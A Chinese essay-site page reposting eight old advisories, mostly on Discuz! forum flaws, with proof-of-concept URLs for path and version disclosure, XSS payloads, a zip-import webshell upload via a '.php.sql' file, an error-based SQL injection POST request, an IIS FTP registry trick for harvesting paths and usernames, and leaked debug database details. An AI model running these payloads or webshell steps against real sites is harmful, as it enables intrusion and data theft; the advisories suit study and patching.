欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

Discuz! 路径信息泄露 bug

时间:2022-12-03 09:42:08 其他范文 收藏本文 下载本文

下面是小编为大家整理的Discuz! 路径信息泄露 bug,本文共8篇,以供大家参考借鉴!

Discuz! 路径信息泄露 bug

篇1:Discuz! 路径信息泄露 bug

由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露.

author:80vul-A

team:www.80vul.com

一 分析

目录\uc_client\data\cache\,\forumdata\cache等下面的文件里对如:

$_CACHE['settings'] = array ('accessemail' =>'','censoremail' =>'','censorusername' =>'','dateformat' =>'y-n-j','doublee' =>'1','nextnotetime' =>'0','timeoffset' =>'28800',);$_DCACHE['settings'] = array ('accessemail' =>'','adminipaccess' =>'','admode' =>'1','archiverstatus' =>'1','attachbanperiods' =>'','attachimgpost' =>'1',

数组$_DCACHE,$_CACHE等没有初始化,其实dz的安全人员已经考虑到了这个问题,如在include\common.inc.php

$_DCOOKIE = $_DSESSION = $_DCACHE = $_DPLUGIN = $advlist = array;

但是想对于独立的Discuz! cache file并没有初始化,当我们提交?_CACHE=1 或者_DCACHE=2 导致错误而暴露路径等信息.

二 利用

poc如:

www.80vul.com/bbs/forumdata/cache/cache_usergroups.php?_DCACHE=1

Notice: Array to string conversion in xxx\forumdata\cache\cache_usergroups.php on line 6

三 补丁[fix]

等待官方补丁.

篇2:Discuz! cache.func.php 信息泄漏 bug

由于Discuz!的\include\cache.func.php缺少访问限制导致版本及补丁消息的泄露.

author: 80vul-A

team:www.80vul.com

漏洞存在于文件\include\cache.func.php里的代码如下:

define('DISCUZ_KERNEL_VERSION', '6.1.0');

define('DISCUZ_KERNEL_RELEASE', '0418');

if(isset($_GET['kernel_version'])) {

exit('Crossday Discuz! Board

Developed by Comsenz Inc.

Version: '.DISCUZ_KERNEL_VERSION.'

Release: '.DISCUZ_KERNEL_RELEASE);

} elseif(!defined('IN_DISCUZ')) {

exit('Access Denied');

}提交kernel_version的时会显示版本及补丁信息,如果攻击者结合google-hacking等技术很容易找到没有升级的程序,导致mass类攻击.

poc:

www.discuz.net/include/cache.func.php?kernel_version=1

显示:

Crossday Discuz! Board

Developed by Comsenz Inc.

Version: 7.0.0

Release: 20081031

[难道官方是打算1031发布7.00,不知道杂的又推迟了:(]

篇3:iis ftp注册表泄露网站路径及用户名bug

这个漏洞貌似鸡肋,但是也有强大的用处,但是懂得怎么利用他,完全靠得自己,我只是给一个小小思路。

进入主题!

重要注册表:

HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots

ControlSet002这个目录可以是ControlSet001 ControlSet003

注明:不是用第三方软件分配出来的ftp用户,一定要是基于iis分配出来的用户。系统才会在这个目录生成ftp用户名以及用户路径。

举例:1、可以利用ftp用户信息通过社工,或者猜解密码,来获取目标的ftp密码!

2、如果能直接执行命令,或者是cmd有足够的权限,

我们可以使用for命令来获取目标站的数据库配置文件。其它自行测试。

以及跨站种种。这个方法完全可以代替aspxspy那个获取iis信息的功能。灰常强大。

3、如果不能显示这些信息,那就证明是用第三方ftp服务器软件,那我们就可以通过注册表以及其他的一些方法来获取第三

方ftp服务器软件信息和路径,来进行提权。大家自由发挥。

4、利用星外的那个VBS可以!

ps:具体利用方法,请大家使用自己YD的头脑吧。

现在测试通杀的虚拟主机有:星外、N点 剩下的就自己测试。。。,

附上一张测试图:

篇4:Discuz! admincp.php xss bug

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.

author: 80vul-B

team:www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

poc:

127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

[管理员或版主前台登录,但未登录后台时触发]

篇5:Discuz! admindatabase.inc.php getwebshell bug

author: ring04h

team:www.80vul.com

[该漏洞由ring04h发现并且投递,thx]

由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admin\database.inc.php里代码:

.....

elseif($operation == 'importzip') {

require_once DISCUZ_ROOT.'admin/zip.func.php';

$unzip = new SimpleUnzip;

$unzip->ReadFile($datafile_server);

if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/\.sql$/i”, $importfile = $unzip->GetName(0))) {

cpmsg('database_import_file_illegal', '', 'error');

}

$identify = explode(',', base64_decode(preg_replace(“/^# Identify:\s*(\w+).*/s”, “\\1”, substr($unzip->GetData(0), 0, 256))));

$confirm = !empty($confirm) ? 1 : 0;

if(!$confirm && $identify[1] != $version) {

cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');

}

$sqlfilecount = 0;

foreach($unzip->Entries as $entry) {

if(preg_match(“/\.sql$/i”, $entry->Name)) {

$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');

fwrite($fp, $entry->Data);

fclose($fp);

$sqlfilecount++;

}

}

......

注意2点

1. preg_match(“/\.sql$/i”, $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.

2. $identify = explode(',', base64_decode(preg_replace(“/^# Identify:\s*(\w+).*/s”, “\\1”, substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==

#

#

# Discuz! Multi-Volume Data Dump Vol.1

# Version: Discuz! 6.1.0

# Time: -11-27 11:38

# Type: discuz

# Table Prefix: cdb_

二 利用

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes

=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes

三 补丁[fix]

篇6:Discuz! member.php xss bug

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.

author:80vul-B

team:www.80vul.com

一 分析

member.php代码:

if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}...$multipage = multi($num, $memberperpage, $page, “member.php?action=list&listgid=$listgid&srchmem=”.rawurlencode($srchmem).“&order=$order&type=0”, $membermaxpages);

二 利用

poc:

poc:

www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {0 = $adminid == 1 ? 'grouplist' : 0;} else {$listgid = '';}

[1]:download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

篇7:Discuz! trade.php 数据库注射 bug

由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB--06而导致xss攻击及数据库信息泄露的漏洞.

author: 80vul-B

team:www.80vul.com

一 分析

文件trade.php:

$message = trim($message);

if($message) {

$message = daddslashes($tradelog['message'], 1).“\t\t\t”.$discuz_uid.“\t”.$discuz_user.“\t”.$timestamp.“\t”.nl2br(strip_tags(substr($message, 0, 200)));

//$message用substr处理了下,取前200个字符

} else {

$message = daddslashes($tradelog['message'], 1);

}

$db->query(“UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE rderid='$orderid'”);

//这个地方$message直接进入sql语句了:)

showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);

}把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和\',在经过substr的处理变为199个A和\,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过进行xss攻击?

二 利用

poc:

POST discuz/trade.php/?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1

Accept: */*

Accept-Language: zh-cn

Referer: 127.0.0.1/discuz/

User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)

Host: 127.0.0.1

Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow

Content-Length: 426

Content-Type: application/x-www-form-urlencoded

Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312三 补丁[fix]

等待官方补丁

篇8:Discuz!x官方敏感信息泄露及修复网站安全

简要描述:

由于官方项目的DEBUG缓存未清除,导致服务器大量信息泄漏,

当然一般其他网站只要未使用过DEBUG包的项目该问题不存在

详细说明:

[dbhost] =>172.32.1.168

[dbuser] =>superbase

[dbpw] => O********h

[dbcharset] =>gbk

[pconnect] =>0

[dbname] => superbase

[tablepre] =>pre_

漏洞证明:

www.discuz.net/data/_debugadmin.php?I //phpinfo();

www.discuz.net/data/_debugadmin.php?C&c= //ANY cache

修复方案:删除cache 下_开头地文件,

Discuz! moderation.inc.php 数据库注射 bug脚本安全

不泄露信息承诺书

Apple QuickTime信息泄露漏洞漏洞预警

bug分析报告

《最佳路径》教案

最佳路径读后感

临床路径范文

屏蔽iisspy及iis6.0解析bug

泄露考试答案的检讨书

环氧乙烷泄露应急救援预案

《Discuz! 路径信息泄露 bug(整理8篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档